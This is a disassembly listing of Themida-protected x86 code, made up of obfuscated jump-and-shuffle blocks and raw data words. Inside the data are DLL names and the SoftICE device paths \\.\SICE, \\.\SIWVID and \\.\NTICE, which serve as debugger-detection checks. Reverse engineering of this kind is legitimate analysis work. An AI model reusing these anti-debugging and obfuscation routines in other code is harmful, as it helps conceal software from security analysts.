		jmp	loc_5AD7F3
; ---------------------------------------------------------------------------


loc_5AF14C:				; CODE XREF: Themida_:0059A47Aj
		jmp	loc_5A5F47
; ---------------------------------------------------------------------------


loc_5AF151:				; CODE XREF: Themida_:005A66D0j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0BA5CACh
		or	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, 0FE5CFBh
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_59A04E
; ---------------------------------------------------------------------------


loc_5AF185:				; CODE XREF: Themida_:005A5428j
		add	esi, 4
		add	esi, 4
		push	1FE8h
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5A06DB
; ---------------------------------------------------------------------------
		dw 8159h
		dd 0EA43DAE7h, 0B9820F13h, 0C1FFFFBFh, 0BD5505E7h, 1CBB702Ch
		dd 0FF2EABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AF1BD:				; CODE XREF: Themida_:loc_5AA221j
		neg	esi
		jz	loc_5A6493
		shl	esi, 4
		jmp	loc_59FE36
; ---------------------------------------------------------------------------


loc_5AF1CD:				; CODE XREF: Themida_:005A9749j
		mov	edx, esp
		push	ecx
		jmp	loc_5A4260
; ---------------------------------------------------------------------------


loc_5AF1D5:				; CODE XREF: Themida_:0059DEDDj
					; Themida_:loc_5AB2C7j
		add	esp, 4
		add	esi, 4
		jmp	loc_59B271
; ---------------------------------------------------------------------------
		db 29h
		dd 0C20BE9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AF1EA:				; CODE XREF: Themida_:005ADBD8j
		sub	ebx, 60855C3Fh
		add	ebx, edi
		add	ebx, 60855C3Fh
		jmp	loc_5A2B61
; ---------------------------------------------------------------------------


loc_5AF1FD:				; CODE XREF: Themida_:005AC282j
		push	dword ptr [esp]
		jmp	loc_5A3E9F
; ---------------------------------------------------------------------------


loc_5AF205:				; CODE XREF: Themida_:0059D7A2j
					; Themida_:005A16F7j ...
		push	edx
		mov	edx, 5BD461D8h
		sub	edi, 4741574Fh
		add	edi, edx
		add	edi, 4741574Fh
		pop	edx
		jmp	loc_5A575A
; ---------------------------------------------------------------------------


loc_5AF21F:				; CODE XREF: Themida_:0059CF63j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_59C602
; ---------------------------------------------------------------------------


loc_5AF22A:				; CODE XREF: Themida_:005ACBE4j
		push	esi
		jmp	loc_5A23D3
; ---------------------------------------------------------------------------


loc_5AF230:				; CODE XREF: Themida_:005A47CBj
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5AD966
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2EEB8100h, 109F763h, 2EC381C3h, 8B09F763h, 0C4812404h
		dd 4, 0FEB18BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AF25D:				; CODE XREF: Themida_:005A3F74j
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		push	esi
		push	6C46h
		mov	[esp], edx
		push	1B731FCBh
		jmp	loc_5A7C89
; ---------------------------------------------------------------------------


loc_5AF275:				; CODE XREF: Themida_:005A1546j
		jns	loc_59B387
		dec	ah
		jle	loc_5A7143
		mov	ch, bl
		add	esp, 4
		add	edi, 4
		jmp	loc_59863C
; ---------------------------------------------------------------------------


loc_5AF293:				; CODE XREF: Themida_:005A6132j
		shl	edx, 6
		js	loc_5AAD03
		inc	edx
		jle	loc_5AD4AD
		mov	edi, ebx
		sub	al, 8Dh


loc_5AF2A7:				; CODE XREF: Themida_:005A4904j
		sub	ebx, 5AA75DF3h
		add	ebx, 7A60009Eh
		jmp	loc_59A67C
; ---------------------------------------------------------------------------


loc_5AF2B8:				; CODE XREF: Themida_:005AD3E8j
		add	esp, 4
		sub	eax, 0FFFFFFFFh
		xor	eax, 61153144h
		sub	edi, 0F1B2120h
		jmp	loc_59AAA4
; ---------------------------------------------------------------------------


loc_5AF2CE:				; CODE XREF: Themida_:005A5D2Ej
		add	esp, 4
		add	al, cl
		push	edx
		jmp	loc_598715
; ---------------------------------------------------------------------------
		dd 0E95BDD89h, 0FFFF9F1Fh
; ---------------------------------------------------------------------------


loc_5AF2E4:				; CODE XREF: Themida_:005A24EAj
		push	ebp
		mov	ebp, 1D95653Ah
		dec	ebp
		shr	ebp, 3
		jmp	loc_59A1A0
; ---------------------------------------------------------------------------


loc_5AF2F3:				; CODE XREF: Themida_:0059EC97j
		sub	bl, cl
		pop	ecx
		push	edx
		push	ebp
		mov	ebp, 63675EC4h
		or	ebp, 3306324Bh
		jmp	loc_5AF4D9
; ---------------------------------------------------------------------------
		dd 4803E0C1h, 0FF8F7CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AF311:				; CODE XREF: Themida_:005A5286j
		jns	loc_5A10EB
		push	ebx
		jmp	loc_5AEDD2
; ---------------------------------------------------------------------------
		db 5Bh,	0FEh, 0CAh
		dd 0C8B665Ch, 788A6824h, 0FEE90000h, 57FFFF24h,	4BFh, 0BC28100h
		dd 500C9604h, 452CBF57h, 0DFF77B49h, 7C53B850h,	0D90542E5h
		dd 19D1F27h, 314E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AF356:				; CODE XREF: Themida_:005A46BEj
		xor	al, 9
		mov	ch, al
		pop	eax
		push	eax
		mov	al, 0D1h
		push	small 0
		sub	[esp], al
		jmp	loc_5ADC7C
; ---------------------------------------------------------------------------


loc_5AF36A:				; CODE XREF: Themida_:005AC9A5j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_59CA19
		push	ecx
		push	28h
		pop	ecx
		push	0F39h
		mov	[esp], edi
		jmp	loc_59A6DC
; ---------------------------------------------------------------------------


loc_5AF392:				; CODE XREF: Themida_:005994D0j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	edi
		push	ecx
		mov	ecx, 3F8C784Bh
		shl	ecx, 6
		jp	loc_5A2AFB
		add	ecx, 1CE1ED44h
		mov	edi, ecx
		mov	ecx, [esp]
		xor	al, 0A1h
		mov	edi, ebx


loc_5AF3B8:				; CODE XREF: Themida_:005AD406j
		push	15DFh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5ACB24
; ---------------------------------------------------------------------------


loc_5AF3CB:				; CODE XREF: Themida_:005AEA1Ej
		mov	esi, esp
		jmp	loc_59C7E4
; ---------------------------------------------------------------------------


loc_5AF3D2:				; CODE XREF: Themida_:005A4493j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5AD24B
; ---------------------------------------------------------------------------


loc_5AF3DD:				; CODE XREF: Themida_:005A3CD2j
		xor	edi, ebx
		jmp	loc_599088
; ---------------------------------------------------------------------------


loc_5AF3E4:				; CODE XREF: Themida_:005A0A65j
		add	esi, 503CE251h
		mov	eax, esi
		jmp	loc_5A35DF
; ---------------------------------------------------------------------------


loc_5AF3F1:				; CODE XREF: Themida_:005A4249j
		add	ecx, ebx
		pop	ebx
		jmp	loc_59AD63
; ---------------------------------------------------------------------------


loc_5AF3F9:				; CODE XREF: Themida_:0059F8A5j
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_599EBE
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 52h
		dd 68FFFF11h, 686034EBh, 0AC054058h, 354E4346h,	8263043Dh
		dd 0FF886BE9h, 3FD82DFFh, 0BE560B63h, 2E8E1468h, 7813B951h
		dd 0F1814154h, 724531A5h, 8159CE29h, 0F0440FC6h, 5EF02942h
		dd 0FE95E6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AF459:				; CODE XREF: Themida_:005A35CCj
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_59D73A
; ---------------------------------------------------------------------------


loc_5AF497:				; CODE XREF: Themida_:005AA364j
		xchg	bl, [esp+1]
		pop	ax
		jmp	loc_59D16C
; ---------------------------------------------------------------------------


loc_5AF4A2:				; CODE XREF: Themida_:005A6352j
		mov	esp, [esp]
		shr	eax, 10h
		xor	eax, ecx
		push	585Ch
		jmp	loc_5A3350
; ---------------------------------------------------------------------------


loc_5AF4B4:				; CODE XREF: Themida_:005AA15Ej
		pop	ebp
		sub	esp, 4
		jmp	loc_5A7FB5
; ---------------------------------------------------------------------------


loc_5AF4C0:				; CODE XREF: Themida_:005A3259j
		not	dh
		inc	dh
		jmp	loc_59A979
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 0FFBF2FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AF4D1:				; CODE XREF: Themida_:0059A3C6j
		mov	ebp, [esp]
		jmp	loc_5AA369
; ---------------------------------------------------------------------------


loc_5AF4D9:				; CODE XREF: Themida_:005AF303j
		push	0FB0h
		mov	[esp], esi
		push	1B175AFh
		jmp	loc_5A0C58
; ---------------------------------------------------------------------------


loc_5AF4EB:				; CODE XREF: Themida_:005A1857j
		mov	dx, [esp]
		push	70FEh
		mov	[esp], eax
		jmp	loc_5AE6E3
; ---------------------------------------------------------------------------
		dd 5304EB83h, 42474FFh,	24048F5Bh, 3B3CE95Ch, 0C481FFFFh
		dd 4, 0FFD4ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AF519:				; CODE XREF: Themida_:005A4397j
		push	eax
		mov	al, cl
		mov	bh, al
		pop	eax
		pop	ecx
		inc	bh
		jz	loc_5AD73C
		jmp	loc_59CC55
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6624248Bh, 0E924048Bh, 0FFFF2E84h
; ---------------------------------------------------------------------------


loc_5AF53C:				; CODE XREF: Themida_:005AD20Bj
		sub	edx, 35EE7308h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AF54D:				; CODE XREF: Themida_:00599858j
		push	edx
		mov	edx, 442E49E6h
		add	edx, 42F90AA9h
		add	edx, 325B35D7h
		shl	edx, 8
		dec	edx
		xor	edx, 0A971776Ah
		mov	ecx, edx
		pop	edx
		jmp	loc_59EF18
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0E8290000h, 76302Dh,	0DBE95D5Ch
		db 8Eh,	0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AF587:				; CODE XREF: Themida_:00599505j
		add	ebx, esi
		jmp	loc_5A48ED
; ---------------------------------------------------------------------------


loc_5AF58E:				; CODE XREF: Themida_:005AF0ACj
		not	ch
		jmp	loc_5A430A
; ---------------------------------------------------------------------------
		db 0E8h, 0Ah, 0
		dd 6ECC0000h, 101E5394h, 2923B216h, 5C87F381h, 565A32BFh
		dd 10E9h, 0E6AB1600h, 3A6BB97Ah, 197E4175h, 5004EDB1h
		dd 0C2815867h, 6750h, 25699D0Bh, 0F63307E4h, 9E9h, 8630A200h
		dd 93E091CEh, 34FF1AC3h, 14E916h, 46C30000h, 0B4195B80h
		dd 0C64621E8h, 0A18F149Ch, 0C4D34EDh, 8B5F1A5Dh, 0E400419Dh
		dd 7EF78107h, 8B72A6E7h, 0E4183D85h, 0EAC78107h, 0E93A8819h
		dd 6, 0C8219241h, 0F7810518h, 0F838136h, 130AB866h, 50323C89h
		dd 15B1852Bh, 295907E4h, 0E41F959Dh, 3EE8307h, 5F99D31h
		dd 0E94E07E4h, 0Ch, 8395C814h, 42FA809Fh, 8B07218Bh, 9974FE81h
		dd 850FFFFFh, 0FFFFFF7Eh, 62E968B4h, 0F8000000h, 551489D7h
		dd 33524553h, 6C642E32h, 4441006Ch, 49504156h, 642E3233h
		dd 4E006C6Ch, 4C4C4454h, 6C6C642Eh, 207D800h, 1A000200h
		dd 37000400h, 95002800h, 3, 0Ah	dup(0)
		dd 929E900h, 49680000h,	0E907E6D3h, 0FFFDABAFh,	0E6D3B868h
		dd 0ABA5E907h, 0FF68FFFDh, 0E907E6D4h, 0FFFDAB9Bh, 0E6D66168h
		dd 0AB91E907h, 0EE68FFFDh, 0E907E6D6h, 0FFFDAB87h, 0E6D80868h
		dd 0AB7DE907h, 7C68FFFDh, 0E907E6D8h, 0FFFDAB73h, 51E507DFh
		dd 0AE42623Bh, 0EA2BC98h, 710519F8h, 0D064805Bh, 7D58F1F7h
		dd 0DDB7CD61h, 37152BBFh, 9A778D21h, 8B3BEE82h,	0A472690Eh
		dd 11A0E513h, 0B84C445h, 8D653A3h, 0D713A68Ch, 0B5415F39h
		dd 0EA85BDDBh, 4E89F9D8h, 0AED159D1h, 16212A83h, 0CA7CCD8Ch
		dd 5DAD018Eh, 68805DFBh, 0FC2E06FDh, 0F774D4F5h, 0F5FC2E00h
		dd 0FA0C65CEh, 2F419F1Ch, 0AF0FF218h, 0E0304D32h, 14A009FDh
		dd 48E31B3Bh, 0AFE0B7EFh, 3611AFFFh, 0AD2A081Ah, 0FA040B0Eh
		dd 41A3F35Ch, 76AEC6A3h, 0D2AFC9DBh, 331026BAh,	0A8AA8714h
		dd 0C29E1B81h, 7CD570A8h, 89DA581Ch, 6EC7D4B5h,	76D9511Ah
		dd 38BEFE80h, 766h, 11A5C79Fh, 6E0222FBh, 0CE627C58h, 31C5D9B8h
		dd 9024401Bh, 3D1831B7h, 9D778D21h, 0F7D5EB7Fh,	5A374DE1h
		dd 4BFBAE42h, 0A47329CEh, 0D160A513h, 29617956h, 21713D52h
		dd 2A4621BFh, 4C4557F2h, 13A47153h, 0E44696FFh,	0F2526846h
		dd 9B062C29h, 7B95A729h, 9937879Dh, 6F91A3BDh, 2D657B59h
		dd 166A825Fh, 6A16DF5Fh, 0F73EC404h, 0E000006h,	6A801436h
		dd 0C7DD7191h, 273DD1EBh, 8AA03448h, 26FF93AFh,	90AC87C0h
		dd 0EE0CE6FCh, 5066445Ah, 0B1C9A6BCh, 3DBA6A1Dh, 13A47346h
		dd 5640CF14h, 5B296179h, 0EA2E667Eh, 0F7188AECh, 0EF182035h
		dd 6916ED58h, 5BC41442h, 0C4F8AC49h, 0E05B543Bh, 2E6EB5Dh
		dd 3345C9B5h, 79B1CBA7h, 672DCCDEh, 4D000000h, 0A8BAD2AFh
		dd 617956D3h, 7A55F3CDh, 77774C5Eh, 1442A084h, 861A320Fh
		dd 1A300EACh, 4AAE508h,	0D2F337B4h, 51C113A6h, 1EFB908Ch
		dd 7FEDA606h, 0F290E039h, 0D5EFCB14h, 0E98E0B9Dh, 6513A67Dh
		dd 0FA4AA3FCh, 31697D5Ch, 4C628496h, 6A08586Eh,	9E397191h
		dd 3740C68Ch, 0C6000006h, 7D10E764h, 55BE13A6h,	79566E43h
		dd 3D522961h, 3AA42171h, 5813A6BDh, 25019FEFh, 2638D30Bh
		dd 0F911EE04h, 65494665h, 899C7715h, 0A6BE770Ch, 217AE313h
		dd 5E3C4EE9h, 406FF5E1h, 0E6369F14h, 968BE174h,	0CB669EBCh
		dd 0E754116Bh, 7B59F7D5h, 3D0AF16Eh, 58C81B88h,	9A6121B8h
		dd 0B3035C19h, 88E04136h, 4BA40D1Bh, 0ADC3A1B7h, 97E2BF5Dh
		dd 0CB669EBEh, 0CC9A6072h, 0FC83D7EFh, 7B6232D6h, 5B0B53Bh
		dd 7D550000h, 0D8B1C75Bh, 320E24B8h, 8F6E8418h,	0F6D1E77Bh
		dd 876D46DAh, 43D7F3CEh, 0A135532Dh, 397AD8Bh, 64F810EDh
		dd 0FF8401B1h, 5B13A474h, 79568716h, 7E5B2961h,	86602E66h
		dd 0E8415735h, 0EF03E2B0h, 0AED653B7h, 6323E0E2h, 42A26F1Dh
		dd 8560FE14h, 2B963169h, 1442A254h, 0CC499902h,	1442A237h
		dd 94E13AA3h, 0E05C0F6Ah, 0FFFEBE69h, 0F49292FFh, 9472FE18h
		dd 75526C7Eh, 2193255Dh, 0CC2DA9F2h, 0CDB22FF4h, 89144217h
		dd 92B5C720h, 0E461B1FDh, 13A61AFAh, 81CFB99h, 5EAE17F6h
		dd 65F87FFCh, 0ED5613A6h, 0F59AB9DBh, 6EC69B9h,	0D5144245h
		dd 30425A37h, 3B0E851h,	1B8A4579h, 0D487BFD0h, 19E78862h
		dd 52ED253Bh, 0C4D0E0F2h, 7E00BD64h, 4A5C6560h,	93BB906Fh
		dd 1B545D0h, 456E0000h,	0A30B84C4h, 8C08D653h, 75D713A6h
		dd 0A68C03F8h, 0A1B59413h, 147DCE69h, 0B1BA2302h, 2F4523C1h
		dd 90B2241Dh, 0F39CCA7Ch, 90EE6BBBh, 5EF218E8h,	2907A5F5h
		dd 2CD81B0Ch, 0E43D54E5h, 39FF11ACh, 31812D62h,	3BAD52CFh
		dd 0C029FDE0h, 7453D0AEh, 2FA0400h, 0CEAB4999h,	548CA883h
		dd 0AE1060B9h, 0C4774A31h, 4F9F08E5h, 0C4772DD2h, 2E40A9E5h
		dd 119F60Ch, 763FDCADh,	0E96FAF80h, 44Eh, 29BDDFB7h, 861A3A13h
		dd 0E67A9470h, 49DDF1D0h, 0A83C5833h, 553029CFh, 0B58FA539h
		dd 0FED0397h, 724F65F9h, 6313C65Ah, 0A47611E6h,	0E978BD13h
		dd 1C6C424Dh, 798B9F7Eh, 5AD7399Bh, 1442A0A5h, 0C6FE1CF6h
		dd 0FD7ADA2Bh, 1442A006h, 86126BD4h, 0BB568EACh, 7137B0A9h
		dd 0DE7C13A4h, 1996E604h, 13A47262h, 967587F0h,	663FDD2Dh
		dd 0B8563446h, 82B1BDDAh, 0EA41A224h, 9E7FD91h,	10EDBBF3h
		dd 16EFA4F8h, 70B06A17h, 3C1EAh, 4A6C4400h, 0A7C7A0B6h
		dd 721FD13h, 6A7E5D73h,	0C9E5C0D6h, 0BD965C35h,	1C32C6E2h
		dd 7A902442h, 0DCF2869Ch, 0A053E7FFh, 768C73F0h, 54A13A4h
		dd 0DB209276h, 0EA031491h, 22FF192Bh, 2704D20Ah, 2C09D70Fh
		dd 8D3ADC14h, 1A43FAB5h, 0B6CEAB37h, 6A1A9D7Eh,	44CDB22Fh
		dd 20891442h, 65C7C5C7h, 424413E8h, 656BF14h, 4244F289h
		dd 0E5F76014h, 0B4421C48h, 1A144246h, 14EB68CAh, 0C2144246h
		dd 926C4759h, 41E05B2Bh, 0FFFFFCB3h, 6179566Ah,	713D5229h
		dd 0A31AAF21h, 0BEACDC71h, 0FB51CEACh, 7913A6E6h, 92AB7C10h
		dd 0C4FC1AF4h, 0B8EC1729h, 0F5456926h, 0B284DF83h, 0B95CBCD6h
		dd 815F71B7h, 0A6BE5604h, 929B0413h, 0F2704A2h,	312A3CD7h
		dd 0BBB18D54h, 0EDC6B5DAh, 0A1FA95CDh, 70B6D451h, 0DB44BC5Dh
		dd 0EBC3CCA3h, 523FD9Bh, 422032CDh, 7949E6C5h, 971474A4h
		dd 0AB86ADE0h, 38B5056Eh, 0AB86AD43h, 0FD4DA60Fh, 0D66A825Fh
		dd 77CBE3C0h, 0B2390A26h, 0A7C74D8Dh, 5E000002h, 0BAD06486h
		dd 172DC1E1h, 778D213Bh, 0DAF08498h, 764FE3FFh,	0E0FCD770h
		dd 3E5C364Ch, 0A0B694AAh, 119F60Ch, 8D0ABA6Dh, 13A478F6h
		dd 4D901F64h, 0BA1C6C42h, 4C11C348h, 8D9F1707h,	0A4D8E994h
		dd 8B086A13h, 13A5DCF4h, 8E7F962h, 0D3B14F9Fh, 351329BDh
		dd 5731CF1Fh, 6660139h,	0AB959990h, 0FDC3D5C4h,	0E63A522Fh
		dd 6A15BEC1h, 3340C606h, 0D2000002h, 2E44D8FAh,	8BA13555h
		dd 0EB0195AFh, 4E64F80Ch, 0EAC35773h, 54704B04h, 0B2D0AAC0h
		dd 142A081Eh, 758D6A80h, 17E2EE1h, 13A4787Ah, 4D0493D8h
		dd 0BA1C6C42h, 8279F658h, 501442A0h, 0A0877CE7h, 0EA531442h
		dd 0BF38Ah, 0ECFE20FEh,	0A4DB0AF3h, 0F5FC813h, 437B9571h
		dd 1AB896A8h, 7291253Dh, 0C23F8F1Fh, 13A5DB37h,	122806A4h
		dd 68B82100h, 99D1F1CAh, 5826ECFEh, 9D29617Dh, 0ACFC18F3h
		dd 719310Eh, 0E3CBC6E5h, 0A31E2193h, 0D737512Dh, 0FA0CE95Eh
		dd 29D09F1Ch, 1D7F13A5h, 0A529DBA0h, 0FC0E7713h, 0BB40BD1Dh
		dd 1713A529h, 2D4522AEh, 0F1CE9CD4h, 9D0FA1D9h,	3CCDF99h
		dd 0B1899B0Bh, 7E122A07h, 3B738B68h, 61C6F15Ch,	125D3A25h
		dd 48E31B37h, 68455BEFh, 6F4A1850h, 57910353h, 0CABD72B5h
		dd 0FBC98FA1h, 0FDCB0321h, 90CF0721h, 0D9D59DC9h, 0CE95410h
		dd 2706A4F4h, 5DF0113h,	8A5126A3h, 94FD13A5h, 718D6882h
		dd 0C4F35A39h, 5D38275Fh, 0BC97AD41h, 74D668A0h, 0A58A00F7h
		dd 5365CE13h, 0D455B39h, 58C77F56h, 0B7CD617Dh,	0DD8AC2DAh
		dd 0ABD6ED64h, 104BFBD2h, 0B5DB809Eh, 7F911A27h, 0DC708865h
		dd 99D1E9C6h, 6C33A507h, 7855CB7Ah, 5EFB80EBh, 0EE57D418h
		dd 326A8862h, 906B8597h, 0AB22474h, 0CD2267DCh,	0AF6390F0h
		dd 2982317Ch, 70ED5117h, 546C4934h, 6E8C6604h, 67899B36h
		dd 245C7451h, 1C6C424Dh, 0FC8BC99Fh, 0A92688D3h, 0DC7C8BD2h
		dd 26051780h, 0DD4F29BDh, 5DEEB83Bh, 4273940h, 71D3238Bh
		dd 7C6A0FF4h, 5062CBDCh, 0BBD6F572h, 3BA4DB9Ah,	49583503h
		dd 673C37CCh, 2B07A3C4h, 0E53ED911h, 5DDA3C8Ch,	0C4673CA6h
		dd 0A1BD9834h, 6375CE69h, 0EEC96741h, 0C9A6C0D2h, 1ACC79B1h
		dd 0F7D70830h, 7653CA7Ah, 0D7B4CA5Eh, 77980EB8h, 0CF28563Ah
		dd 0D6EAC997h, 5410E79Eh, 60F40CE9h, 5556D4Ah, 7E094F93h
		dd 0D6127A01h, 0F6FD8F7h, 1E9B7174h, 0F7D6F059h, 0A7338CF5h
		dd 0DF7AB2CAh, 38107CDh, 10000000h, 7E563E8Dh, 7956245Ch
		dd 7D5B2961h, 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh
		dd 94703E76h, 9B74427Ah, 50EE437Bh, 405E089h, 53000000h
		dd 4BBh, 5BD82900h, 5C240487h, 81E78957h, 4C7h,	4EF8100h
		dd 87000000h, 895C243Ch, 89502404h, 405E0h, 0E8830000h
		dd 24048704h, 240C895Ch, 0E6D28968h, 24048B07h,	6804C483h
		dd 4140h, 83242489h, 59042404h,	89C78957h, 3C8B0879h, 4C48324h
		dd 56240C8Bh, 0C681E689h, 4, 8704C683h,	8B5C2434h, 89572404h
		dd 4C781E7h, 83000000h,	3C8704C7h, 9CE95C24h, 59FFFDA2h
		dd 7AC70D40h, 0E80D1360h, 0B85D94C0h, 7E6DAD4h,	0E0FFC503h
		dd 4452712Ch, 3E655C61h, 175E77CBh, 40A5DE7h, 48E26Ch
		dd 5CB4A75Ah, 2E765453h, 50A61644h, 479B8401h, 6D228A16h
		dd 1D724AF1h, 5D6E99F5h, 1D2C5FA7h, 2F780FC1h, 208115C9h
		dd 4904DA2Eh, 24EE9497h, 3D53A836h, 45EB1AAh, 1E3CB047h
		dd 0D17FD53h, 60A87123h, 17AE9A58h, 8CE9h, 0BD836000h
		dd 7E41289h, 5840F00h, 0E9000000h, 77h,	3E80006Ah, 8850F30h
		dd 6A000000h, 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah
		dd 24h,	0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh
		dd 406A0000h, 2E946h, 6A0000h, 0F203E80h
dword_5B00C0	dd 1285h, 17E8000h, 8850F00h, 83000000h, 14E908C4h, 8D000000h
					; DATA XREF: Themida_:00583EC0o
		dd 0E430C185h, 90509007h, 6A965096h, 6195FF00h,	6107E421h
		dd 2D85C6C3h, 4D07E42Ch, 0B4C00768h, 24048134h,	6F80B6A1h
		dd 1DE1B5FFh, 858D07E4h, 7E43BDCh, 8589D0FFh, 7E42161h
		dd 5C5C1EEBh, 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h
		dd 5C5C0044h, 544E5C2Eh, 454349h, 0E681C08Bh, 4FE587D4h
		dd 13F1BD83h, 750007E4h, 35BD8309h, 7E409h, 53501974h
		dd 0FB8C08Bh, 89000004h, 0E4147985h, 0F09D8D07h, 0FF07E6E9h
		dd 83585BD3h, 0E40935BDh, 17740007h, 0FB85350h,	89000004h
		dd 0E4147985h, 0DF9D8D07h, 0FF07E6E6h, 80585BD3h, 81668CF5h
		dd 8BDD10D2h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0BDC4C506h, 0B58BF167h, 7E42FDDh
		dd 2C2D85C6h, 0E94307E4h, 0Ch, 61CB1B49h, 9C001A28h, 9E9B184Eh
		dd 0E8D0BF0Fh, 4, 0BC8E6EFCh, 22B96650h, 24448B93h, 0DF27BA04h
		dd 8B2374h, 89CA8B66h, 66042444h, 8958D68Bh, 0E4155D85h
		dd 9DB5FF07h, 6A07E401h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 5F05C350h, 3BDC858Dh
		dd 0B58907E4h, 7E41851h, 1E3D9529h, 0D0FF07E4h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0A2C35545h, 29DBD2Bh
		dd 9D8907E4h, 7E40401h,	8E8CBA90h, 8B5000A3h, 6A90D6h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 9EE147C3h, 8166006Ah, 0E86861C6h, 4,	80h, 840F50h, 8B000000h
		dd 0E9042444h, 10h, 67209FE3h, 0E45AFFFAh, 0BF28ACh, 0DEA6F8Bh
		dd 0FE8008Bh, 0C0000000h, 9F8C5D36h, 937E7B53h,	412C6C41h
		dd 5050CA57h, 5A310F52h, 89595F58h, 57042444h, 12E9h, 63D86C00h
		dd 9286BCA4h, 1BEBE2A0h, 0FD050B7Dh, 5FA3EE17h,	4DBD3358h
		dd 8B07E431h, 0E40A1D95h, 60036A07h, 1FFDBD8Bh,	0D78B07E4h
		dd 0B5006A61h, 6A036ADEh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 1628C352h, 9D89723Ah
		dd 7E426F9h, 2DBE4B68h,	243481A4h, 642DBE4Bh, 3D57BA66h
		dd 0DC8B9D8Dh, 953107E6h, 7E42C4Dh, 13E993h, 20E30000h
		dd 0CC5412BBh, 74E656Fh, 0D89853EEh, 6FC2E8FFh,	6660503Bh
		dd 579431B9h, 61585E52h, 0DE993h, 3A2A0000h, 3A66391Eh
		dd 0FC5D66A2h, 299F3790h, 0E40FA99Dh, 66D0FF07h, 40CB13BFh
		dd 2B1850Fh, 13E90000h,	0F9000000h, 0D21F5C18h,	81BEE0C6h
		dd 0E743F1Ah, 306D7C49h, 0BE58001Bh, 2943108Fh,	0E8505190h
		dd 0Fh,	2C6653DCh, 0FDEC8EE3h, 45CD2C38h, 59281797h, 56505F5Eh
		dd 66FE8B60h, 5E61C88Bh, 39BD8990h, 6A07E42Bh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 8C690231h, 539C934Bh, 85894526h, 7E41E11h, 78DFBC68h
		dd 8870FA6h, 0F000000h,	281h, 81B7B500h, 20C42404h, 0C5805987h
		dd 6A036AFDh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0C812C353h, 53E6F253h,	0BF575C50h
		dd 1F19B531h, 6A07E4h, 95858960h, 2307E42Dh, 0E403B185h
		dd 13E86107h, 17000000h, 2D359E9h, 3D97BBC3h, 8A7CB036h
		dd 6BAA491h, 0BE99F42h,	10000000h, 6F1D5A7Eh, 0E003C70Ch
		dd 6A5F94D5h, 42BE6603h, 74D5680Bh, 800FA61Fh, 0
		dd 0D5243481h, 9661F74h, 0E41CFD8Dh, 949D8D07h,	8107E6DCh
		dd 834DD7EAh, 10E89315h, 4E000000h, 0BF724BEDh,	0C21AE6Ah
		dd 0F53FA171h, 0F08E885h, 683h,	0F525000h, 59585A31h, 0D6809350h
		dd 89D0FFE7h, 0E41FF5B5h, 48E0F07h, 66000000h, 4088D2BFh
		dd 14D850Fh, 0BA580000h, 47A06E26h, 52505090h, 5E8h, 68633C00h
		dd 0F591DF7h, 0AE931h, 0A7CA0000h, 0D04EE4ECh, 6B3BF6B0h
		dd 505F585Ah, 0DC461FBEh, 6A9033h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0B4C3D5C3h, 0F7B741Ah
		dd 681h, 89853100h, 6A07E403h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8BC64727h
		dd 7AA668D7h, 34815C3Eh, 3E7A2624h, 25BD8B5Ch, 6A07E420h
